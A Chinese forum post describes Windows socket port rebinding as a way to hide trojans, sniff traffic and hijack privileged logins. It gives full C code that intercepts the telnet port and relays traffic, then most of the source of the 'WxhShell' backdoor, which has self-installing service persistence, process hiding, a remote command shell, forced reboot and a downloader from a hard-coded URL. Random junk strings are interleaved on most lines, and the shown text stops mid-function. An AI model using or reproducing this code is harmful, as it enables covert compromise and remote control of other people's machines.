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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .8Gmy07  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g}'(V>(  
QfsTUAfR  
  saddr.sin_family = AF_INET; M2y"M,k4  
6Er%td)f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ' Y.s}Duj  
R6 dD17  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ceGo:Aa<)  
oF#]<Z\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j!QP>AM|`  
!_=3Dz  
  这意味着什么?意味着可以进行如下的攻击: 1R"ymWg"  
w7X], auRC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ue#Y h  
9oJ=:E~CP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i:,37INMt  
i3 n0W1~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $NhKqA`0  
C!aK5rqhv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,-{ 2ai_  
W]DZ'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _rf  
Qd$!?h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vd'd@T  
#35@YMF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {9C+=v?  
CJu3h&Rp  
  #include -964#>n[  
  #include ');QmN%J  
  #include -wjvD8fL  
  #include    V_"K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *R^ulp[W  
  int main() )Vb_0n=^  
  { 7J@D})si  
  WORD wVersionRequested; < l%3P6|  
  DWORD ret; kM T73OI>_  
  WSADATA wsaData; +]%d'h  
  BOOL val; gr")Jw7  
  SOCKADDR_IN saddr; idr,s\$>  
  SOCKADDR_IN scaddr; :LwNOuavN  
  int err; +^(_S9CO  
  SOCKET s; }_KzF~  
  SOCKET sc; 5n2!Y\  
  int caddsize; %]I#]jR  
  HANDLE mt; mM&P&mz/D  
  DWORD tid;   G?$o+Y'F  
  wVersionRequested = MAKEWORD( 2, 2 ); X,VI5$  
  err = WSAStartup( wVersionRequested, &wsaData ); G(wK(P0j  
  if ( err != 0 ) { )-!)D  
  printf("error!WSAStartup failed!\n"); ;]1t| td8  
  return -1; Rs"=o>Qu  
  } hOk9y=  
  saddr.sin_family = AF_INET; xwZ1Q,'C  
   !Q|a R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7<]&pSt=  
`{{6vb^g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b>p_w%d[[J  
  saddr.sin_port = htons(23); >xo<i8<Miv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8[J%TWq%9  
  { H(.9tuA  
  printf("error!socket failed!\n"); sG#Os  
  return -1; H6`k%O*  
  } 5PeYQ-B|  
  val = TRUE; 3LfF{ED@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DDkN3\w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uxL+oP0  
  { wX)'1H):T  
  printf("error!setsockopt failed!\n"); GEy7Vb)  
  return -1; &q|vvF<G  
  } a({Rb?b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wry`2_c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 iWjNK"W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IIY_Q9in  
m33&obSP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |GQq:MB;z  
  { =Ks&m4  
  ret=GetLastError(); A nl1+  
  printf("error!bind failed!\n"); HqV55o5f'  
  return -1; -'miM ~kG[  
  } A94:(z;{  
  listen(s,2); ! U@ETo  
  while(1) ^jL)<y4`  
  { e}2?)B`[  
  caddsize = sizeof(scaddr); _Ml?cT/J.O  
  //接受连接请求 <#BK(W~$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l,Q`;v5|  
  if(sc!=INVALID_SOCKET) BKTTta1mY  
  { gHp4q!SJ7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); STu(I\9  
  if(mt==NULL) 66>X$nx(z  
  { 2*`kkS  
  printf("Thread Creat Failed!\n"); g~21|Sa$[  
  break; M)K!!Jqh  
  } m %+'St|qr  
  } f 1SKOq  
  CloseHandle(mt); W<&/5s  
  } oNXYBeu+  
  closesocket(s); c[M4l  
  WSACleanup(); [r 7Hcb  
  return 0; bhRa?wuoY  
  }   -{*3<2rFK  
  DWORD WINAPI ClientThread(LPVOID lpParam) A iR#:r  
  { ,~$sJ2 g7  
  SOCKET ss = (SOCKET)lpParam; 1H">Rb30@  
  SOCKET sc; @)Vb?|3  
  unsigned char buf[4096]; EK>x\]O%T  
  SOCKADDR_IN saddr; 6E_~8oEl  
  long num; =zAFsRoD_B  
  DWORD val; 'U&]KSzxv  
  DWORD ret; M1P;x._n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ysp,:)-%G@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }duqX R  
  saddr.sin_family = AF_INET; jm&[8ApW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~g[D!HV|yu  
  saddr.sin_port = htons(23); p79QEIbk=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nY;Sk#9  
  { ec^{ez@`  
  printf("error!socket failed!\n"); 4avkyFj!h  
  return -1; uHf1b?W  
  } wk'(g_DP  
  val = 100; 7dB_q}<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tl_o+jj  
  { #WDpiV7B  
  ret = GetLastError(); Y -BZV |  
  return -1; 7Fa<m]k  
  } 9nO&d(r g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U;ujN8  
  { nF3Sfw,  
  ret = GetLastError(); k=Wt57jt  
  return -1; P-^-~/>n  
  } p8s%bPjK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FbdC3G|oA  
  { M?gZKdj  
  printf("error!socket connect failed!\n"); 3M^`6W[;  
  closesocket(sc); tg%<@U`7=  
  closesocket(ss); <VN< ~sz  
  return -1; H- WNu+  
  } 2l+'p[b0>  
  while(1) [m x}n+~  
  { i7\>uni  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s!Id55R]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x)q$.u+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &&}c R:U,  
  num = recv(ss,buf,4096,0); )OlYz!#?  
  if(num>0) /3"S_KE1@+  
  send(sc,buf,num,0); v<0S@9~  
  else if(num==0) >Zf*u;/dW$  
  break; 3WfZzb+  
  num = recv(sc,buf,4096,0); )B @&q.2B=  
  if(num>0) k]TJL9Q  
  send(ss,buf,num,0); LM.#~7jC  
  else if(num==0) k[1[Y{n.  
  break; ri9n.-xs  
  } hB:+_[=Kj.  
  closesocket(ss); ov>`MCS,v  
  closesocket(sc); p7*7V.>X  
  return 0 ; 9FT==>  
  } !<-+}X+o8$  
}u5J<*:bZ  
% e70*;  
========================================================== b\t@vMJ  
"bjbJC&T  
下边附上一个代码,,WXhSHELL >R/^[([;]  
M?$tHA~OX  
========================================================== 8,m:  
Ujly\ix`  
#include "stdafx.h" aUBu"P$J  
=gB{(  
#include <stdio.h> ! }awlv;  
#include <string.h> )T^aJ-Uf  
#include <windows.h> k#@)gL  
#include <winsock2.h>  & *&  
#include <winsvc.h> 3'`X_C|d53  
#include <urlmon.h> abV,]x&.0  
klj.\wg/p{  
#pragma comment (lib, "Ws2_32.lib") 3j$,x(ua9  
#pragma comment (lib, "urlmon.lib") t== a(e  
-_Iuvw  
#define MAX_USER   100 // 最大客户端连接数 ]h&?^L<.  
#define BUF_SOCK   200 // sock buffer &[}5yos r  
#define KEY_BUFF   255 // 输入 buffer .rbKvd?-}  
{S5D~A*a+  
#define REBOOT     0   // 重启 >5]w\^QN9_  
#define SHUTDOWN   1   // 关机 E{|n\|  
mZ t:  
#define DEF_PORT   5000 // 监听端口 t+SLU6j,  
<Xj ,>2m;  
#define REG_LEN     16   // 注册表键长度 2HvzMo-4  
#define SVC_LEN     80   // NT服务名长度 qT_E=)1  
p$%g$K  
// 从dll定义API o)6udRzBv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I*i$!$Bx2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ol8uV{:"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GUK3`}!%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]z/  
-wV0Nv(V8  
// wxhshell配置信息 H~"XlP  
struct WSCFG { =R\-mov$  
  int ws_port;         // 监听端口 qxW 2q8QHo  
  char ws_passstr[REG_LEN]; // 口令 Kx[z7]1@  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6PI-"He  
  char ws_regname[REG_LEN]; // 注册表键名 j k}m  
  char ws_svcname[REG_LEN]; // 服务名 q&wXs/$a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ti9cN)lq&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pNzGpCk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6ypqnOTr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QCWk[Gx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?`O Dt]s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D+  **o  
`Lu\zR%<  
}; eDSBs3k7H  
Uyyw'Ni  
// default Wxhshell configuration $pGk%8l%  
struct WSCFG wscfg={DEF_PORT, RsDI7v  
    "xuhuanlingzhe", f?C !Br}  
    1, ,/>~J]:\;  
    "Wxhshell", (Dl68]FX  
    "Wxhshell", VI`x fmVOQ  
            "WxhShell Service", [%8+Fa~Wa  
    "Wrsky Windows CmdShell Service", 5OUe |mS  
    "Please Input Your Password: ", |KC3^  
  1, !f\6=Z?>3  
  "http://www.wrsky.com/wxhshell.exe", | Y1<P^  
  "Wxhshell.exe" w,.Hdd6  
    }; H44&u](8{  
:Ir:OD# o  
// 消息定义模块 Iz8 ^? >X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -Mvw'#(0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \|t0~sRwh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KEN-G  
char *msg_ws_ext="\n\rExit."; Ju[`Qw`I  
char *msg_ws_end="\n\rQuit."; t5APD?5 c  
char *msg_ws_boot="\n\rReboot..."; )l}wjKfgO  
char *msg_ws_poff="\n\rShutdown..."; 1c"m$)a4  
char *msg_ws_down="\n\rSave to "; !dH&IEP~  
)It4al^\  
char *msg_ws_err="\n\rErr!"; 9GwsQ \  
char *msg_ws_ok="\n\rOK!"; L# 1vf  
90ag!   
char ExeFile[MAX_PATH]; $?-o  
int nUser = 0; {wXN kq  
HANDLE handles[MAX_USER]; IpXhb[UZ?  
int OsIsNt; [\ YP8^..  
@<=#i  
SERVICE_STATUS       serviceStatus; F s\P/YX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hUxhYOp  
DOIWhd5:  
// 函数声明 05 Q8`  
int Install(void); B[B<U~I}  
int Uninstall(void); f4T0Y["QA  
int DownloadFile(char *sURL, SOCKET wsh); U3K<@r  
int Boot(int flag); kte.E%.PE  
void HideProc(void); 'aP*++^   
int GetOsVer(void); R<HZC;x  
int Wxhshell(SOCKET wsl); 5yiiPK$qr  
void TalkWithClient(void *cs); "4hpU]4j  
int CmdShell(SOCKET sock); gA1in  
int StartFromService(void); 97wy;'J[u  
int StartWxhshell(LPSTR lpCmdLine); SvP\JQ<c  
>m1V9A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ASa!yV=g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z\8yB`8b^  
tB=D&L3  
// 数据结构和表定义 TK/'=8  
SERVICE_TABLE_ENTRY DispatchTable[] = EJ ~k Z3  
{ 3ZlGbP#3w  
{wscfg.ws_svcname, NTServiceMain}, xM//]  
{NULL, NULL} ,1;8DfVZV  
}; fP1OH&Ar  
^r_lj$:+$  
// 自我安装 NVqC|uEAF  
int Install(void) eoe^t:5&  
{ Q_0x6]/!  
  char svExeFile[MAX_PATH]; 0s9z @>2  
  HKEY key; =&VXn{e  
  strcpy(svExeFile,ExeFile); {Y:ZY+  
]z=Vc#+!  
// 如果是win9x系统,修改注册表设为自启动 2 C]la  
if(!OsIsNt) { Te@6N\g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s P4 ,S(+e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +aw>p_\  
  RegCloseKey(key); f THun?Vn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .e2A*9,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )| x%o(n  
  RegCloseKey(key); 4G8nebv  
  return 0; JD{MdhhV  
    } soq".+Q  
  } 1: xnD  
} ki~y@@3I  
else { zYG,x*IH  
 4SffP/  
// 如果是NT以上系统,安装为系统服务 Lcs{OW,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2>}\XKF).  
if (schSCManager!=0) ^~6]0$yJ  
{ Hg9.<|+yo  
  SC_HANDLE schService = CreateService Sn0gTsZ  
  ( KHlIK`r  
  schSCManager, 3Q$'qZw p  
  wscfg.ws_svcname, lg onR  
  wscfg.ws_svcdisp, 7 ZL#f![{  
  SERVICE_ALL_ACCESS, mheU#&|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &6t3SZV  
  SERVICE_AUTO_START, .i+* #djx  
  SERVICE_ERROR_NORMAL, II-$WJy  
  svExeFile, PNJe&q0*  
  NULL, m@Ip^]9ry  
  NULL, =\Vu=I  
  NULL, %[n R|a<  
  NULL, L8dU (P  
  NULL H9~%#&fF  
  ); Y%/ YFO2vb  
  if (schService!=0) f#v#)Gp+  
  { ]<q}WjXD'  
  CloseServiceHandle(schService); )8$:DW;  
  CloseServiceHandle(schSCManager); /esVuz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &]VQR2J}:  
  strcat(svExeFile,wscfg.ws_svcname); GOf`Z'\xt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /bmXDDYH4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _hy{F%}  
  RegCloseKey(key); *qPdZ   
  return 0; `V&1]C8x  
    } ^XBzZ!h|  
  } ~!ZmF(:  
  CloseServiceHandle(schSCManager); $Ns,ts(ng  
} NfTCp A  
} #v4LoNm  
dI^IK  
return 1; 1yBt/U2  
} Zk=*7?!!  
iiX\it$s  
// 自我卸载 /2;dH]o0  
int Uninstall(void) iuC7Y|  
{ <vB<`   
  HKEY key; JiFA]M`^Q  
|5xYT 'V  
if(!OsIsNt) { >ZT& `E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0n:?sFY>  
  RegDeleteValue(key,wscfg.ws_regname); y=AsgJ  
  RegCloseKey(key); =&A!C"qK4[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0#oBXu  
  RegDeleteValue(key,wscfg.ws_regname); u8YB)kG  
  RegCloseKey(key); Kt W6AZJ  
  return 0; T[;; 9z  
  } e>l,(ql  
} I^~=,D  
} U4>O\sU  
else { jn-QKdqM  
Y1{B c<tC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .'|mY$U~]  
if (schSCManager!=0) XTJvV  
{ \dRzS@l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /+V Iw`E  
  if (schService!=0) ,;_rIO"  
  { 8|O=/m^]  
  if(DeleteService(schService)!=0) { OJAx:&]3  
  CloseServiceHandle(schService); v`JF\"}S  
  CloseServiceHandle(schSCManager); <i{K7}':  
  return 0; lT.zNhz:d9  
  } kG/X"6pZ  
  CloseServiceHandle(schService); LVnHt}  
  } ^q ;Cx7T_p  
  CloseServiceHandle(schSCManager); R A:jzht  
} b1u}fp GF  
} V vu(`9u]  
9)`amhf>  
return 1; gv#4#]  
} ]q{ PDZ   
TyF{tuF  
// 从指定url下载文件 k#O,j pbB  
int DownloadFile(char *sURL, SOCKET wsh) c-kA^z{f  
{ @F>F#-2  
  HRESULT hr; $I@GUtzjp  
char seps[]= "/"; o0ZIsrr  
char *token; 38~PWKt  
char *file; V8hO8  
char myURL[MAX_PATH]; %aU4,j^],o  
char myFILE[MAX_PATH]; jd 1jG2=f  
Z!6UW:&~7  
strcpy(myURL,sURL); q-nER<  
  token=strtok(myURL,seps); ebC)H  
  while(token!=NULL) r}_lxr  
  { W|MWXs5'1*  
    file=token; %r%So_^  
  token=strtok(NULL,seps); V1B(|P  
  } pMR,#[U<  
}aF  
GetCurrentDirectory(MAX_PATH,myFILE); ~i ,"87$[  
strcat(myFILE, "\\"); ;I}'}  
strcat(myFILE, file); s~^}F+n  
  send(wsh,myFILE,strlen(myFILE),0); qP3q  
send(wsh,"...",3,0); k$N0lR4:p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~`qEWvPn  
  if(hr==S_OK) ,zhJY ?sk  
return 0; T%$jWndI  
else 1@>$ Gcc  
return 1; Ooc\1lX  
l30Y8t~d  
} :@eHX&  
|A\a4f 'G  
// 系统电源模块 OcmRZ  
int Boot(int flag) Es!Q8.  
{ KkcXNjPVS  
  HANDLE hToken; xb:&(6\F  
  TOKEN_PRIVILEGES tkp; x|i_P|Z  
OGOND,/R?/  
  if(OsIsNt) { ),(V6@Z?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (UL4+ta  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u0 QzLi,  
    tkp.PrivilegeCount = 1; /mA,F;   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =>iA gp'#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H1/?+N}(  
if(flag==REBOOT) { j$Ab>}g]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .iG&Lw\,  
  return 0; z//VlB  
} ! | #83  
else { :|+Qe e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1yQejw  
  return 0; H[ m <RaG8  
} l{Dct\ #s  
  } a5Y IUVCv  
  else { rHjq1-t  
if(flag==REBOOT) { z^<L(/rg9"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 99xEm  
  return 0; zCv"]%  
} y5r4+2B  
else { |`TgX@,#9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w[tmCn+  
  return 0; !|ak^GE:(%  
} M{g%cR0  
} >-8cU_m7s  
a 2 IgC25  
return 1; bKg8rK u  
} t>=fTkB  
N IdZ  
// win9x进程隐藏模块 }}v9 `F  
void HideProc(void) ,R%q}IH#  
{ AIMSX]m  
ljTBvU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I[)%,jd  
  if ( hKernel != NULL ) hj'(*ND7z  
  { yY?b.ty  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HK`I\,K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8>hwK)av  
    FreeLibrary(hKernel); A,sr[Pa@  
  } q9Y9w(  
}PTV] q%  
return; hxQqa 0B  
} q`-;AG|xF  
UMAgA!s  
// 获取操作系统版本 DC{>TC[p1k  
int GetOsVer(void) /|* Y2ETOr  
{ ;)N>t\v  
  OSVERSIONINFO winfo; wgCa58H76  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0 a80 LAK  
  GetVersionEx(&winfo); Z&;uh_EC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `BlI@6th  
  return 1; !pD*p)`s  
  else ,l<6GB2\  
  return 0; v`M3eh@$A  
} 0`^&9nR  
Na:w]r:y  
// 客户端句柄模块 oYukLr  
int Wxhshell(SOCKET wsl) Q%xC}||1s"  
{ sBcPq SMby  
  SOCKET wsh; J+`VujWT  
  struct sockaddr_in client; zux{S; :?  
  DWORD myID; U&?v:&c#&n  
j KoG7HH  
  while(nUser<MAX_USER) [eC2"&}  
{ V#iPj'*   
  int nSize=sizeof(client); Za 1QC;7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :Of^xj>A  
  if(wsh==INVALID_SOCKET) return 1; DQ r Y*nH  
=>_\fNy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .>WxDQIo  
if(handles[nUser]==0) U|IzXQX(  
  closesocket(wsh); b:TLV`>/&  
else ~^1{B\I  
  nUser++; ev*k*0  
  } )r jiY%F$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B!?%O  
`Tv[DIVW  
  return 0; *2,VyY  
} >s<^M|S07  
Zcx`SC-0  
// 关闭 socket De'_SD|=  
void CloseIt(SOCKET wsh) .oeX"6K  
{ }f6HYU  
closesocket(wsh); NgP&.39U  
nUser--; ~ v|>xqWV  
ExitThread(0); %5"9</a&G  
} Wa{`VS  
hYG6 pTCb  
// 客户端请求句柄 "W955?4m  
void TalkWithClient(void *cs) J;8IY=  
{ lww!-(<ww  
$#9;)8J  
  SOCKET wsh=(SOCKET)cs; 5>D>% iaHv  
  char pwd[SVC_LEN]; Nh_Mz;ITuu  
  char cmd[KEY_BUFF]; i#vYyVr[  
char chr[1]; E/|To  
int i,j; !Fd~~v  
'!!CeDy  
  while (nUser < MAX_USER) { UCB/=k^m  
'h|DO/X~L  
if(wscfg.ws_passstr) { A>o *t=5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^:^9l1]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vt:~q{9*k  
  //ZeroMemory(pwd,KEY_BUFF); YIQ 4t  
      i=0; l5!|I:/*;  
  while(i<SVC_LEN) { 7:plQ !7^  
R;&AijS8  
  // 设置超时 rWa2pO  
  fd_set FdRead; 5YE'L.  
  struct timeval TimeOut; -*Xa3/kQ  
  FD_ZERO(&FdRead); `yrB->|vG  
  FD_SET(wsh,&FdRead); f e\$@-  
  TimeOut.tv_sec=8; RzE_K'M  
  TimeOut.tv_usec=0; cQCSe,$ W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vlmB`T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CkOz  
6-N?mSQU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O_oPh] x)  
  pwd=chr[0]; x<tb  
  if(chr[0]==0xd || chr[0]==0xa) { `VA"vwz  
  pwd=0; naG=Pq<  
  break; 2=,lcWr  
  } *+Ek0M  
  i++; +%yfcyZ.  
    } j4gF;-m<  
c}lb%^;)E  
  // 如果是非法用户,关闭 socket FtP0krO(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +rd|A|hRq  
} 36}?dRw#p  
i1ixi\P{0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LO9=xGj.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hZ?Rof  
wN_Vfb  
while(1) { <=zQ NBtx  
Q 3hKk$Y  
  ZeroMemory(cmd,KEY_BUFF); _C%3h5  
ysQ_[ ]/  
      // 自动支持客户端 telnet标准   j/323Za+  
  j=0; ;#g"(  
  while(j<KEY_BUFF) { + [iQLM?zo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M8MR oA6F  
  cmd[j]=chr[0]; @>r._ ~  
  if(chr[0]==0xa || chr[0]==0xd) { k^3>Y%^1  
  cmd[j]=0; | k&Ck  
  break; %<\vGqsM  
  } x[FJgI'r  
  j++; a#cCpE  
    } |HiE@  
b6 cBg  
  // 下载文件 gh/EU/~d  
  if(strstr(cmd,"http://")) { .0zY}`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R/~p>apg8  
  if(DownloadFile(cmd,wsh)) vv72x]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5V?& 8GTe  
  else )tC5Hijq,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3@etRd;]Kr  
  } 29;?I3< *  
  else { =6j&4p `  
jZu[n)u'C  
    switch(cmd[0]) { F%@A6'c  
  j@n)kPo,1  
  // 帮助 l.q&D< _  
  case '?': { }s7$7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XQY#716)  
    break; OV1_|##LC  
  } Y>dF5&(kb  
  // 安装 8H%;WU9-  
  case 'i': { M1k{t%M+S  
    if(Install()) .<->C?#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tIWmp30S  
    else @CpfP;*{w`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3U<cWl@  
    break; _~'=C#XI)  
    } h=W:^@G  
  // 卸载 []\+k31D  
  case 'r': { {kA0z2Fe  
    if(Uninstall()) sfpZc7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,kyJAju>  
    else bHY=x}Hv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oI?3<M^  
    break; .eS<Dbku<  
    } pd:WEI ,  
  // 显示 wxhshell 所在路径 4zXFuTr($  
  case 'p': { |-fg j'  
    char svExeFile[MAX_PATH]; +cJL7=V&  
    strcpy(svExeFile,"\n\r"); &xU[E!2H%  
      strcat(svExeFile,ExeFile); Df}A^G >X  
        send(wsh,svExeFile,strlen(svExeFile),0); 4R#chQ  
    break; WltQ63u  
    } +G$4pt|=  
  // 重启 _:ReN_0  
  case 'b': { ?1*cO:O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )Oq|amvC  
    if(Boot(REBOOT)) R8Wr^s>'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1gE [v  
    else { L 8c0lx}Nn  
    closesocket(wsh); _F4Ii-6  
    ExitThread(0); fJ=0HNmX  
    } 5 )A1\  
    break; 2+RUTOv/d  
    } pf]xqhL  
  // 关机 5^}\4.eXo  
  case 'd': { -zCH**y%1  
